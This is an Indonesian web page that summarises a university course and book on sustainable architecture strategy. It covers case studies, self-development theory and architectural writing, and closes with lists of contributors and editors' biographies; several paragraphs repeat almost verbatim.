Setiap arsitek memiliki situasi dan kondisinya masing- masing di dalam berpraktek. Dengan kemampuan mensintesiskan tame and wicked problem ke dalam substansi : Proses, Produk, Relasi sosial, dan Ekosistem, maka metode untuk menuju desain arsitektur bekelanjutan bagi masing – masing arsitek akan bertransformasi dengan sendirinya. Jadi, siapkah tiap – tiap arsitek bertransformasi untuk mencari dan memahami metode desain berkelanjutannya sendiri ?
Setiap arsitek memiliki situasi dan kondisinya masing – masing di dalam berpraktek. Dengan kemampuan mensintesiskan 4 substansi diatas, maka metode untuk menuju desain arsitektur berkelanjutan bagi masing – masing arsitek akan bertransformasi dengan sendirinya.
Setelah memahami bagaimana menyusun metode desain menuju arsitektur berkelanjutan, kita perlu mengetahui bagaimana arsitek mengimplementasikan metode desain arsitektur berkelanjutan.
Setelah memahami bagaimana menyusun metode desain menuju arsitektur berkelanjutan, kita perlu mengetahui bagaimana arsitek mengimplementasikan metode desain arsitektur berkelanjutan. Pada dasarnya di dalam praktik arsitektur setiap arsitek berhadapan dengan 3 kondisi akibat dari desain arsitektur yaitu sisi ekonomi, sisi sosial, dan sisi lingkungan. Tiga sisi tersebut berkaitan erat dengan kesadaran dari arsitek untuk memahami konteks site di mana arsitek tersebut bisa memilih material lokal (sumber daya alam setempat) sebagai usaha mengurangi jejak karbon dan membantu ekonomi masyarakat sekitar; dan membangun keahlian membangun SDM lokal yang syarat akan tradisi dan pemberdayaan masyarakat akan sisi teknikal bangunan yang mudah dipelihara, mudah dikonstruksi, dan efisien dari segi anggaran bangunan.
Dalam ekosistem global, relasi arsitek dengan arsitektur berkelanjutan terlihat di dalam Sustainable Development Goals butir ke-11, yaitu Sustainable Cities and Communities menuju 2030. Butir ini bertujuan untuk menjadikan kota & pemukiman inklusif, aman, tangguh, dan berkelanjutan. SDG 11 memiliki 7 target hasilnya yaitu: (1) Perumahan yang terjangkau; (2) sistem transportasi yang terjangkau & berkelanjutan; (3) urbanisasi yang inklusi & berkelanjutan; (4) melindungi warisan budaya & alam dunia; (5) mengurangi dampak buruk bencana alam; (6) mengurangi dampak lingkungan kota; dan (7) menyediakan akses ke ruang hijau & publik yang aman dan inklusif.
Karya – karya arsitek diharapkan mampu menjembatani antara kebutuhan solusi praktis di lapangan di dalam krisis ekologi yang nyata terjadi, dan keberlanjutan sisi kebaikan untuk sosial-ekonomi masyarakat.
Hal ini dibahas oleh Jana Revedin dan Marie-Hélène bahwa arsitek bisa menjadi agen pemberdayaan masyarakat melalui pemilihan material lokal, kolaborasi dengan pengrajin/tukang setempat, dan pembangunan partisipatif yang merupakan dasar untuk menciptakan desain berkelanjutan dari detail menuju ruang-ruang ekonomi, sosial, dan lingkungan berkelanjutan.
Hal ini terlihat di dalam karya Boonserm Premthada; Frederic Druot, Lacaton and Vassal; Marta Maccaglia; Raumlabor; dan Nina Maritz yang dikurasi oleh Jana Revedin dan Marie-Hélène. Meski berbeda konteks projek, desain mereka pun memiliki keserasian dengan target hasil SDG poin ke-11. Di Indonesia, karya mendiang Y.B. Mangun Wijaya mencerminkan semangat lokalitas yang satu nafas dengan beberapa arsitek yang dibahas di atas. Hal ini menunjukkan bahwa pembahasan seperti ini tidak hanya terimplementasi di dalam lingkup global, namun juga di Indonesia.
Pada dasarnya di dalam praktik arsitektur setiap arsitek berhadapan dengan 3 kondisi akibat dari desain arsitektur yaitu sisi ekonomi, sisi sosial, dan sisi lingkungan. Tiga sisi tersebut berkaitan erat dengan kesadaran dari arsitek untuk memahami konteks site dimana arsitek tersebut bisa memilih material lokal (sumber daya alam setempat) sebagai usaha mengurangi jejak karbon dan membantu ekonomi masyarakat sekitar; dan membangun keahlian membangun SDM lokal yang syarat akan tradisi dan pemberdayaan masyarakat akan sisi teknikal bangunan yang mudah dipelihara, mudah dikonstruksi, dan efisien dari segi anggaran bangunan. Peran arsitek bisa menjembatani eksplorasi tata bahasa tektonik tersebut untuk mewujudkan pengalaman ruang utuh dari sambungan antar material ke ruang yang menggugah perasaan/indrawi melalui detail-detail berkelanjutan dengan berkolaborasi bersama pengrajin/tukang.
Di Kantana Institute terdapat dinding bata tebal setinggi 8 m yang ditopang oleh struktur baja di dalamnya. Dinding tersebut membutuhkan 600.000 bata yang diambil dari produsen lokal, menciptakan skala manusia yang taktil. Ruang-ruang di dalamnya terkoneksi dengan lorong yang diapit oleh dinding bata yang terinspirasi dari bangunan religius. Rongga di dalam dinding memberikan insulasi termal di mana diselingi bukaan yang tidak menghalangi pandangan manusia. Komposisi ini memberikan pengalaman ruang untuk memahami kolaborasi pihak-pihak yang terlibat membentuk integrasi ruang – ruang ekonomi, sosial, dan lingkungan berkelanjutan.
The Wine Ayutthaya memiliki eksplorasi material plastik dan kayu. Bangunan ini memanfaatkan struktur plywood yang diperkuat oleh baja, mengadaptasi rumah kayu tradisional setempat. Pengalaman ruang di interior terbentuk oleh 5 varian tangga spiral sebagai penghubung antara tingkatan lantai yang disesuaikan dengan arah view sungai dan landscape sekitar. Lima tangga tadi juga berfungsi sebagai penyangga struktur. Eksplorasi desain ini menunjukkan refleksi masa lampau (tradisi) dan masa depan dengan mengintegrasikan proses desain dan membangun dimana terdapat optimalisasi sisi ekonomi, sisi sosial, dan sisi lingkungan.
The Bois Le-Pretre Housing Block merupakan bangunan eksisting 16 lantai yang berisi 96 unit apartemen. Renovasi dilakukan dengan menambah perimeter fasade. Penambahan ini dilakukan dengan memanfaatkan struktur baja dan elemen pre-fabrikasi yang berdiri sendiri sehingga memungkinkan penghuni tetap tinggal selama proses pembangunan.
Perpanjangan ini untuk memperluas ruang keluarga dan menghadirkan teras/balkon. Tiap unit apartemen terbebas dari ruang tak berguna, digantikan dengan volume ruang yang bebas dan transparan. Pemilihan glass sliding door pada fasad memberikan akses pencahayaan alami dan view sementara teras/balkon memberikan strategi penghawaan 2 lapis yang bisa mendinginkan ketika musim panas dan mengurangi dingin ketika musim dingin.
Mazaronkiari Multipurpose Classroom adalah bangunan untuk komunitas asli Peru yang ditujukan untuk menjangkau akses pendidikan untuk anak-anak dengan konstruksi ruang serbaguna yang fleksibel. Struktur kayu dipilih dengan eksplorasi louveredpanel yang memberikan penghawaan dan pencahayaan alami. Panel-panel non permanen berwarna-warni didesain agar mudah ditekuk 90° menjadi meja untuk mengakomodasi aktifitas rapat/pembelajaran. Penggunaan material lokal ini dan kontribusi aktif komunitas menciptakan ruang kelas berkapasitas 120 orang dan tempat bersosialisasi selepas sekolah, dan itu semua membentuk harmoni sisi ekonomi, sisi sosial, dan sisi lingkungan.
Sauna Tower merupakan pemandian publik yang dilengkapi dengan kolam renang untuk merubah persepsi masyarakat terhadap lokasi pelabuhan yang mulai tergerus aktivitas industrinya. Bangunan ini dirancang untuk menjadi bagian baru dari aktivitas pusat kota yang berkaitan dengan budaya kota-kota Nordic di mana pemandian adalah ruang sosial masyarakat. Perancangan dan pembangunan prototipenya bersifat partisipatif bersama publik. Hal ini memberikan warga kesempatan untuk mewujudkan ruang mereka sendiri. Material logam pada fasad mempererat konteks pelabuhan industri sementara interior sauna menggunakan material hangat seperti kayu veneer dan sirap.
Karya – karya arsitek diharapkan mampu menjembatani antara kebutuhan solusi praktis di lapangan di dalam krisis ekologi yang nyata terjadi, dan keberlanjutan sisi kebaikan untuk sosial-ekonomi masyarakat. Hal ini dibahas oleh Jana Revedin dan Marie-Hélène bahwa arsitek bisa menjadi menjadi agen pemberdayaan masyarakat melalui pemilihan material lokal, kolaborasi dengan pengrajin/tukang setempat, dan pembangunan partisipatif merupakan dasar untuk menciptakan desain berkelanjutan dari detail menuju ruang-ruang ekonomi, sosial, dan lingkungan berkelanjutan.
Pada dasarnya di dalam praktik arsitektur, setiap arsitek berhadapan dengan 3 kondisi akibat dari desain arsitektur, yaitu sisi ekonomi; sisi sosial; dan sisi lingkungan. Tiga sisi tersebut berkaitan erat dengan kesadaran dari arsitek untuk memahami konteks site dimana arsitek bisa memilih material lokal (sumber daya alam setempat) sebagai usaha mengurangi jejak karbon, meningkatkan ekonomi, membangun keahlian di dalam kebersamaan. Siapkah arsitek untuk kreatif menjawab sisi ekonomi, sosial, dan lingkungan di dalam mendesain di balik seluruh pembicaraan mengenai penemuan metode desain sendiri ?
Siapkah arsitek untuk kreatif menjawab sisi ekonomi, sosial, dan lingkungan di dalam mendesain di balik seluruh pembicaraan mengenai penemuan metode desain sendiri ?
Memahami Parameter Karya Berkelanjutan Melalui Studi Kasus
Untuk memperkaya pertimbangan desain dari sisi Ekonomi, Sosial, dan Lingkungan, seorang arsitek membutuhkan wawasan yang luas mengenai seberapa banyaknya kasus studi yang diketahui.
Untuk memperkaya pertimbangan desain dari sisi Ekonomi, Sosial, dan Lingkungan, seorang arsitek membutuhkan wawasan yang luas mengenai seberapa banyaknya kasus studi yang diketahui.
Untuk mengetahui seberapa tinggi/dalam kualitas sebuah karya arsitektur, dibutuhkan pemahaman yang multi disiplin yang menantang seberapa jauh seorang arsitek di dalam mencurahkan keringatnya untuk membuat sebuah karya arsitektur yang komprehensif. Karya ini bukan hanya soal massa, denah, dan ruang. Namun sebuah pengalaman kerja praktik seumur hidup.
Untuk mengetahui seberapa tinggi/dalam kualitas sebuah karya arsitektur, dibutuhkan pemahaman multidisiplin yg menantang seberapa jauh seorang arsitek dalam mencurahkan keringatnya untuk membuat karya yang komprehensif. Karya ini bukan hanya soal massa, denah, dan ruang. Namun sebuah pengalaman kerja praktik seumur hidup melalui 3 buah tahapan analisa kasus studi:
1. Massa Bangunan: studi bentuk dasar sebagai landasan sosok, wujud, nilai filosofis, sampai hubungan sebab akibat dengan sudut matahari, sirkulasi sekitar bangunan, ataupun sesederhana mengikuti sejarah pembentukan arsitektur di dalam sebuah kota (pendekatan kontinental)
2. Denah Ruang: studi programming, kumpulan data tentang definisi sebuah ruang, bagaimana menggunakannya, berapa jumlah penggunanya, serta keperluan integrasi dengan sistem utilitas bangunan
3. Pengalaman ruang: berkaitan dengan intuisi yang terakumulasi dalam gubahan bentuk 3D (didukung dengan materialitas, membentuk pengalaman ruang.
Ketika seorang arsitek memulai mendesain, ia memerlukan imajinasi akan sebuah sosok gubahan bentuk, disadari ataupun tidak disadari. Hal ini dinamakan massa bangunan. Studi massa bangunan merupakan studi mengenai studi bentuk dasar yang menjadi landasan sosok, wujud, nilai filosofis, sampai hubungan sebab akibat dengan sudut matahari, sirkulasi sekitar bangunan, ataupun sesederhana mengikuti sejarah pembentukan arsitektur di dalam sebuah kota (pendekatan kontinental).
Kebutuhan dasar di dalam perancangan diterjemahkan ke dalam sebuah basis data yang disebut programming. Programmingmerupakan kumpulan data tentang hal-hal seperti: definisi sebuah ruang, bagaimana menggunakan ruang, berapa orang yang menggunakan ruang, perlunya integrasi dengan sistem utilitas bangunan termasuk hal–hal seperti ergonomi, lebar ruangan, lebar pintu, lebar bukaan, bagaimana keterhubungan lantai atas dan bawah yang berhubungan, ataupun sesederhananya bagaimana tata letak perabot.
Arsitek menghubungkan rasa ke dalam akal, seringkali hal ini disebut sebagai sebuah intuisi. Di dalam alam intuisi seorang arsitek, hasil intuisi ini terakumulasi di dalamgubahan bentuk 3 dimensi. Sedangkan pengalaman ruang adalah ‘suasana’ yang terbentuk dari bentuk 3 dimensi dan materialitas yang menunjukkan kepekaan dari seorang arsitek. Materialitas tersebut ditimbulkan oleh suasana yang dibentuk dari kualitas arsi-tektonika (detail yang berkelanjutan) sehingga di dalam pengalaman ruang yang berperan adalah waktu sebagai komposisi 4 dimensi yang komprehensif.
Salah satu sumber terlengkap sebagai barometer awal mengenal arsitektur berkelanjutan bisa menggunakan karya Pritzker Prize sebagai kasus studi. Kasus studi ini adalah sebuah awalan untuk memahami bahwa begitu banyak kasus studi arsitektur berkelanjutan yang masih perlu dipelajari dan membuat proses berbagi menjadi penting. Dengan mempelajari kasus studi, arsitek dapat memahami metode arsitek lain secara holistik sebagai cermin untuk mengembangkan diri.
Mengenal Strategi Arsitektur Berkelanjutan di dalam karya arsitektur. Salah satu sumber yang terlengkap sebagai barometer awal adalah Pritzker Prize yang bisa digunakan untuk menganalisa kasus studi di dalam strategi arsitektur berkelanjutan.
Siapkah sang arsitek bercermin dan kembali belajar untuk menambah kualitas metode desain dimilikinya melalui pengetahuan kasus studi yang begitu berlimpah di dalam arsitektur di dunia dan di Indonesia?
Kasus studi di atas adalah sebuah awalan untuk memahami bahwa begitu banyak kasus studi arsitektur berkelanjutan yang masih perlu dipelajari membuat proses berbagi menjadi penting. Dengan mempelajari kasus studi, arsitek dapat memahami metode arsitek lain secara holistik sebagai cermin untuk mengembangkan diri. Siapkah sang arsitek bercermin dan kembali belajar untuk menambah kualitas metode desain dimilikinya melalui pengetahuan kasus studi yang begitu berlimpah di dalam arsitektur di dunia dan di Indonesia?
Siapa Aku | Membawa Diri Berselancar dalam Gerakan Arsitektur Berkelanjutan
Pertanyaan “Siapa aku?” adalah sebuah pertanyaaan yang menghinggapi setiap arsitek di dunia. Untuk menjawab itu sebenarnya seseorang hanya perlu mencukupkan dirinya dan mengetahui bahwa setiap individu dilahirkan unik. Pertanyaan “siapa aku?” akan memberikan landasan yang kuat terhadap perumusan strategi arsitektur berkelanjutan yang optimal.
“Siapa aku?” adalah sebuah pertanyaaan yang menghinggapi setiap arsitek di dunia. Untuk menjawab itu sebenarnya seseorang hanya perlu mencukupkan dirinya dan mengetahui bahwa setiap individu dilahirkan unik. Pertanyaan “siapa aku?” akan memberikan landasan yang kuat terhadap perumusan strategi arsitektur berkelanjutan yang optimal.
Pemahaman terhadap kekurangan dan kelebihan diri, apa yang disukai dan tidak disukai, cara-cara yang berhasil dan yang gagal, juga bagaimana respons terhadap berbagai hal akan membantu menjelaskan secara logis apa yang dirasakan. Arsitek akan menjadi lebih percaya diri dan terampil dalam pengambilan keputusan. Memahami diri sendiri secara tidak langsung juga berarti memahami orang lain dan bagaimana setiap individu memiliki sifat dan caranya masing-masing.
Perjalanan mengenali diri sendiri membuthkan waktu. Ibaratnya, setiap orang membentuk orang lain, dan orang lain membetuk “siapa aku”.
Secara umum, manusia memiliki berbagai unsur kepribadian di dalam dirinya yang perlu untuk dipahami, diterima, dan dirangkul agar mampu mengambil langkah ke depan dengan lebih pasti.
Semangat manusia masih memiliki semangat untuk menjadi lebih baik dan kontributif terhadap masyarakat dalam konteks studi kreativitas terwujud dalam berbagai sisi, mulai dari belajar meniru dan mengejar kuantitas, menjadi mulai berpikir mengenai tujuan dan kualitas, hingga akhirnya mencapai fase “bermain-main” dan mengeksplorasi ide.
Studi mengenai “siapa aku?” tertuang dalam bagaimana kita bisa mengenali kepribadian kita. Dalam kepribadian, ada unsur-unsur yang disebut sebagai archetypes. Carl Jung membagi archetypes ke dalam wujud persona (topeng), shadow (ketakutan), anima (feminin), dan animus (maskulin), dan banyak archetypes lainnya.
Sebuah jiwa akan mengalami keutuhan (self), dan merasa berkecukupan ketika terdapat integrasi atau penerimaan terhadap seluruh archetype, termasuk hal-hal di bawah alam sadarnya, juga penerimaan terhadap masa lalu dan impian akan meningkatnya potensi diri.
Perkembangan diri yang berkelanjutan: fase Animal Laboran, Homo Faber, Homo Ludens
Semua orang pada dasarnya ingin memiliki kehidupan yang lebih baik juga semangat untuk memperbaiki diri, dalam studi kreativitas disebut kerajinan (craftsmanship).
Sennet menjelaskan prinsip ini menjadi tiga sisi: Animal Laboran (teknis), Homo Faber (manusia membuat/ kreatif), dan Homo Ludens (manusia bermain-main). Sisi terakhir ini mewakili manusia yang tak hanya memahami apa yang ia buat, tetapi juga mengupayakan proses yang menyenangkan.
Dalam konteks sebuah proyek, ada berbagai pihak yang berkepentingan, seperti arsitek, klien, kontraktor, dan engineer. Kunci ketuntasan kerajian di sini adalah bagaimana desain seorang arsitek memenuhi sisi teknis, kreatif, dan eksploratif di dalam proses perancangan dan pembangunan. Hal ini sederhananya adalah proses perkembangan diri yang berkelanjutan-multidisiplin.
Perkembangan diri yang berkelanjutan: fase Apprentice, Journeyman, Master
Buku Craftgram (Adiyanto & Sjarief, 2020) memaparkan tahap-tahap yang menjadi titik mulai hingga adaptasi seseorang yang mendalami suatu keahlian.
Perjalanan dimulai dari menjadi apprentice, di mana seseorang menjadi murid yang dituntut memiliki semangat untuk belajar dengan berkreasi sesuai instruksi(mengutamakan kuantitas). Tahap selanjutnya adalah tahap journeyman di mana seseorangmulai mempertanyakan tujuan hidup, mengamati, dan bereksperimen sesuai tujuan yang ia temukan. Tahap ketiga adalah tahap master (mumpuni) di mana seseorang bisa bermain dengan keahliannya yang ditandai dengan wawasan yang luas dan jam terbang tinggi. Fokus keluaran dalam tahap ini adalah produksi ide-ide yang inovatif.
Selama berproses, diperlukan evaluasi terhadap diri melalui literasi dengan teknik yang tepat dan pendekatan yang disesuaikan dengan konteks. Wawasan yang terkumpul dalam proses panjang ini kemudian dirumuskan dalam teori-teori yang berasal dari dalam diri arsitek dan yang berdasar pada keadaan di lingkungan.
Performa menuju arsitek mumpuni dalam kultur studio menggunakan pendekatan craftsmanship (Craftsgram, 2020)
Menjadi arsitek membutuhkan pemahaman untuk bisa mengenali diri, dimulai dari menerima diri, dan menyadari bahwa dirinya memiliki keunikan di dalam masyarakat dunia, hingga akhirnya memberikan sumbangsih kepada lingkungannya. Hal ini dinamakan pengembangan diri yang berkelanjutan.
Aktualisasi Diri Lewat Menulis Arsitektur: Menata Sudut Pandang
[Writing Architecture by Carter Wiseman (2014)]
Setelah mengetahui kepribadian diri dan mampu bekerja dengan orang lain, seseorang membutuhkan ruang untuk evaluasi. Hal ini ditandai dengan kemampuan literasi yang baik, yaitu kemampuan untuk memahami sebuah persoalan dengan komprehensif. Ada dua hal yang diperlukan, yakni teknik literasi dan pendekatan literasi.
Wiseman membagi teknik-teknik literasi menjadi: (1) structure, rangka literasi, (2) standard, penilaian objektif, (3) persuasion, meyakinkan bagi pembaca, (4) criticism, mencakup pemahaman soal konteks, (5) scholarship, opini yang didukung data objektif, (6) literature, unsur naratif/emosional, (7) presentation, penyampaian gagasan yang mudah dipahami, (8) professional communication, penjelasan singkat mengenai hal-hal penting dalam rangkaian gagasan.
Aktualisasi Diri Lewat Menulis Arsitektur: Menata Sudut Pandang
[Writing About Architecture by Alexandra Lange (2012)]
Sedangkan, pendekatan literasi dibahas oleh Lange (Writing About Architecture) yang membaginya menjadi empat kategori, yaitu:
(1) pendekatan formal, berupa penjelasan deskriptif tentang organisasi ruang, material, dan hal faktual lainnya dalam sebuah rancangan, (2) pendekatan eksperimental, yang memasukkan unsur perasaan atau pengalaman subyektif penulis terhadap sebuah karya/proses, (3) pendekatan historikal, misal memasukkan unsur latar belakang arsitek yang mempengaruhi sebuah rancangan, (4) pendekatan aktivis, yang membahas pihak yang diuntungkan/dirugikan dari adanya suatu karya, melihat segi ekonomi/sosial antara karya dengan lingkungan.
Aktualisasi Kepribadian dalam Perancangan: Teori Normatif dan Teori Positif
[Creating Architectural Theory by Jon Lang (1987)]
Setelah mengetahui kepribadian diri, mampu bekerja dengan orang lain, dan mampu mengevaluasi diri, seseorang perlu merumuskan apa yang sudah dipahaminya menjadi sebuah teori kehidupan. Lang (1987) membaginya menjadi beberapa jenis teori:
Teori normatif adalah teori yang didasarkan pada pengetahuan yang menjadi kebiasaan dalam diri arsitek, persepsinya terhadap dunia, ukuran baik dan buruk. Bentuknya dapat berupa prinsip desain yang dikembangkan oleh masing-masing arsitek.
Teori positif adalah teori yang didasarkan pada pengetahuan yang dirumuskan berdasarkan konteks dari isu yang dihadapi. Teori ini terbagi menjadi teori substantif yang fokus pada isu yang dihadapi, dan teori prosedural yang fokus pada metode desain yang tepat untuk membedah isu. Aktualisasi Diri Lewat Menulis Arsitektur: Menata Sudut Pandang
Siapkah setiap arsitek untuk mau rendah hati belajar kembali mengembangkan diri?
Menjadi arsitek membutuhkan pemahaman untuk bisa mengenali diri, dimulai dari menerima diri sendiri, dan menyadari bahwa dirinya memiliki keunikan di dalam masyarakat dunia, hingga akhirnya memberikan sumbangsih kepada lingkungannya. Hal ini dinamakan pengembangan diri yang berkelanjutan. Siapkah setiap arsitek untuk mau rendah hati belajar kembali mengembangkan diri?
Kontributor Kelas Strategi Arsitektur Berkelanjutan untuk Mahasiswa – University of Pelita Harapan
Para kontributor yang terdiri dari mahasiswa, untuk mahasiswa dan oleh mahasiswa : Albert Lionggo, Andreas Hasiholan, Anggreny Ratnasari, Anissa Dipa, Anke Ardine, Ansell Samuel Julianto, Antonius Priya Prathama, Bayu Abimanyu, Carla Aurellia, Chelsea Gracelyn Halun, Chelsya Setiawan, Christal Yohanes Edy Widjaya, Darwin Winata, Dharmawan, Diandra, Arya Eka Putri, Edgard Jeremy, El Grantnada Romaulina Chyntia Manihuruk, Eubisius Vercelli, Ocvanto Kuncoro, Evania Hamdani Fania, Farisya Yunandira Putri, Fikra Abhinaya Djuhara, Franca Kartasasmita, Gerardo Leonard Nugroho, Gilbert Antonious Heidy Laurentia, Heinrich Benedick, Jason Lim, Jason Aristya Wongso, Jason Axel, Jesslyn Amanda, Joshua Alfando, Joshua Felix Theo, Joshua Michael, Jovin Juan, Marcell Cruxivisyo, Mauritzio Hizkia, Michael Antonio Halim, Michael Imanuel Susilo, Michellin Sonia Wibowo, Muhamad Yusuf Nyompa, Nathanael, Christopher Ng, Novi Synfah, Oliver Victor Wibowo, Praisella Hatijanto, Putroaji Darma Maulana, Raihan Ramadhan, Rayka Martawijana, Raynaldo Febrio Istanto, Sander Ekaputra, Satya Krisnadi, Shania Salsabila, Shella Angelica, Sherlyn Christiane, Spazio Julius, Stanly Alviando, Thessalonicca Venesya, Valencia Angelita, Vania Serrafine
Kuliah Strategi Arsitektur Berkelanjutan ini adalah sebuah mata kuliah yang diampu oleh Realrich Sjarief di dalam penelitian yang dilakukan di Omah Library dan pedagogi kelasnya di lakukan di dalam sesi mata kuliah Strategi Arsitektur Berkelanjutan di Universitas Pelita Harapan. Harapan dari kelas ini adalah berbagi mengenai pedagogi, riset mata kuliah, maupun pustaka supaya bisa dikembangkan di perkuliahan lain ataupun bermanfaat untuk praktik arsitektur di banyak tempat. Perkuliahan ini dirangkum ke dalam bentuk buku dan interpretasi terhadap keseluruhan materi ditulis oleh Anas Hidayat dan Johannes Adiyanto sebagai sudut pandang pelengkap dari luar.
Pengampu Perkuliahan
The Research Study is in Strategi Arsitektur Berkelanjutan Untuk Mahasiswa’s Book
Buku setebal 600-an halaman ini adalah salah satu refleksi untuk menyusun kerangka strategi arsitektur berkelanjutan yang dimulai dari kesadaran diri untuk membentuk sudut pandang multidimensi, multi disiplin dan konteks lingkungan makro-mikro sebelum menguasai aspek teknikal seperti pengetahuan detail material bangunan serta metode desain.
Buku terbaru yang berjudul “Strategi arsitektur untuk Mahasiswa” ini adalah sebagai buku kedua yang diterbitkan di awal tahun 2021. Buku ini merupakan antologi atas materi strategi arsitektur berkelanjutan yang didiskusikan dan dirangkum dalam bentuk esai beserta artwork untuk bersama-sama mencari seberapa luas dan seberapa dalam terminologi arsitektur berkelanjutan?
Disiplin arsitektur selalu berhubungan dengan dimensi lingkungan dan humaniora, terutama mengenai identitas, ilmu bangunan, evaluasi metode desain, sensitivitas tentang materialitas, sampai pengetahuan mengenai kasus studi. 5 Hal tersebut diturunkan ke dalam 5 bab yang berisi 14 bentuk strategi desain berisi bagaimana proses memahami diri, mengetahui budaya membangun ‘ketukangan’, dan aktualisasi diri melalui menulis, sejarah arsitektur berkelanjutan, materialitas, metodologi desain, dan pembedahan 60 kasus desain dari pritzker prize winner dan orang – orang lain yang mewarnai praktik dengan semangat lokalitas.
Sebagai penyimpul benang merah, bab terakhir meliputi refleksi diri dari para penulis tentang hasil dari pembelajaran mereka. Strategi (praktik) arsitektur berkelanjutan tidaklah statis dan berdiri sendiri, justru membutuhkan kedinamisan konstruksi pemikiran dari berbagai sudut pandang.
Realrich Sjarief
Realrich Sjarief mendirikan Realrich Architecture Workshop di tahun 2011. Ia juga aktif di DOT Workshop, yang berfokus pada penelitian tektonika, dan Perpustakaan OMAH, kelompok penelitian dan perpustakaan umum yang menampung sekitar 1.500 buku arsitektur dan menyelenggarakan publik berkala acara tentang wacana arsitektur kontemporer. Ia menulis beberapa buku bersama dengan Johannes Adiyanto, bersama-sama menjadi cantrik yang haus akan ilmu. Realrich Sjarief aktif mengajar di beberapa universitas di Indonesia, dan kerap kali memberikan kuliah umum di Australia, Singapore, Filipina, India. Bersama RAW Architecture ia memenangkan beberapa kompetisi desain, termasuk Kompetisi Galeri Nasional Indonesia, finalis dari Museum Silaban, IAI Jakarta Award di tahun 2017 dengan karya Omah Library, Finalis World Architecture Festival Award 2018, Fibra Award 2019, dan Kohler Award 2018 untuk karya Sekolah Alfa Omega. RAW Architecture di tahun 2018-2019 adalah long listed world emerging architect. Baru-baru ini RAW Architecture juga mendapatkan nominasi Emerging Architect di Asia Pacific Design Award 2020.
Penyunting Buku
Satria Agung Permana
Satria A. Permana is currently working at OMAH Library, observing and researching architecture discourse in Indonesia. He graduated from the school of architecture in Universitas Islam Indonesia. His thesis about “Recoding the Code’s Urban Kampong”, has led him to put his concern on developing urban kampong design language, which also aided him to gain several prizes in architecture and urban design competition such as merit award in FuturArc Prize 2019 and nominated in Student Charrette World Architecture Festival 2016. Besides architecture and design, he spends half of his life observing the worlds in writings and photography which could be found at http://www.medium.com/@satriaap. In 2020, he co-authored with Realrich Sjarief a book titled The Secret of Architect’s Life. He is available to reach by email at satriaap@live.com or Instagram @satria__ap.
Amelia Mega Djaja
Amelia Mega Djaja adalah salah satu periset dan pustakawan OMAH Library, pernah terlibat dalam penulisan buku berjudul “Craftgram: Craft + Grammatology” dan “Alvar Aalto: The Magic of Architect’s Life,” dan juga sebagai koordinator Kri(s)tik Book Club 2019. Lulus dari S1 jurusan arsitektur pada tahun 2016 dari The University of Sheffield, dengan disertasi mengenai narasi arsitektur poskolonial di Jakarta tahun 1960an.
Sebelum bergabung di OMAH, Amel memiliki pengalaman bekerja selama 3 tahun sebagai desainer, antara lain dalam proyek Alun-Alun Cicendo Bandung (2017, di bawah Florian Heinzelmann), juga sebagai koordinator tim Sayembara Kantor Bupati Sleman yang mendapat juara 2 (IAI 2018, di bawah Ary Indra).
Menurutnya, arsitektur bisa menjadi medium dalam melakukan pembacaan dan analisis mengenai kultur, sejarah, lingkungan maupun dimensi sosial yang lebih luas. Karena ketertarikannya untuk mendalami hal tersebut, saat ini Amel juga merupakan salah satu pegiat ASF-Indonesia yang aktif dalam fasilitasi dan diskusi mengenai komunitas informal kota Jakarta.
Tim Omah Library : Redaksi
Kirana Ardya Garini
Lulus dari jurusan Teknik Arsitektur pada tahun 2017, Kirana A. Garini memiliki pengalaman bekerja di konsultan arsitektur PT Tripatra Konsultan di Yogyakarta yang khusus menangani proyek pemerintahan.
Kirana sempat bergabung dalam Housing Resource Center Yogyakarta dengan fokus penanganan kampung kota Kali Code Yogyakarta dengan output berupa profil kawasan.
Kirana senang bereksperimen dengan desain produk, khususnya yang dapat digunakan di ruang publik. Ia pernah membuat Pringgam (pring-gamelan), prototipe produk bermain bagi anak usia SD di taman kota Surabaya, berbahan bambu, memadukan sistem alat box musik dan gamelan. Produk tersebut sengaja didesain untuk beberapa penggunan sebagai tanggapan atas minim nya interaksi sosial anak di kota urban yang cenderung terikat pada gadget mereka. Karya tersebut mendapat penghargaan juara 1 pada sayembara Play MORPH yang diselenggarakan oleh Departemen Arsitektur ITS, Surabaya bersama dengan 2 orang dalam timnya.
Kirana sangat tertarik dengan arsitektur untuk publik, yang mengutamakan kesehatan dan kenyamanan masyarakat luas, desain universal, multi dimensi dan multi disiplin, serta bersinggungan dengan kebijakan publik, politik, dan ekonomi.
Selama di OMAH Library, Kirana terlibat dalam berbagai riset yang diantaranya diterbitkan dalam bentuk buku, seperti: Methodgram, Craftgram, Sejarah Arsitektur untuk Mahasiswa, dan yang terbaru, buku Alvar Aalto: the magic of architects life. Kenal lebih dekat dengan Kirana melalui Instagram @kiranaardya atau LinkedIn Kirana Ardya Garini.
Dimas Dwi Mukti Purwanto
Dimas Dwi Mukti Purwanto, lahir di Madiun 7 Maret 1996. Lulus dari Akademi Teknik Arsitektur YKPN Yogyakarta tahun 2018 dan sekarang sedang melanjutkan studi S1 di Universitas Mercu Buana Jakarta untuk melanjutkan cita – citanya.
Beberapa pengalaman yang mempengaruhi pemikiran Dimas adalah ketika menjadi volunteer yang bertugas sebagai tim riset Venice Architecture Biennale 2018 bersama tim pavillion Indonesia pada tahun 2017, ketika menjadi tim desain revitalisasi desa Krapyak di Pekalongan bersama Studio Akanoma dalam mendampingi World Bank pada tahun 2018, dan ketika mendapatkan kesempatan untuk menjadi juru gambar PT. Waskita Karya dalam proyek tol Pemalang – Batang pada tahun 2018. Kemudian Dimas juga pernah bekerja di PT. Kreasi Nusa Studio sebagai desainer interior dimana banyak mengerjakan proyek – proyek kantor, residensial hingga komersial sepanjang tahun 2019. Untuk saat ini Dimas sedang belajar dan bekerja sebagai pustakawan dan juga periset di Omah Library. Salah satu prestasi yang pernah Dimas raih adalah juara 3 dalam kompetisi desain ruang publik yang bertema Unexpected Space di tahun 2018.
Dimas adalah orang yang tidak pintar – pintar amat namun memiliki keinginan yang kuat untuk bisa membanggakan bangsa Indonesia sebagai arsitek yang baik sehingga hal itulah yang selalu membuatnya mendapatkan motivasi untuk terus belajar dan belajar lebih dalam lagi.
Hanifah Saussan
Hanifah Sausan Nurfinaputri lahir dan tumbuh besar di Magelang, kemudian pindah ke Yogyakarta untuk menempuh pendidikan arsitektur di Universitas Gadjah Mada yang diselesaikannya pada tahun 2019 dengan tugas akhir perancangan sekolah alam.
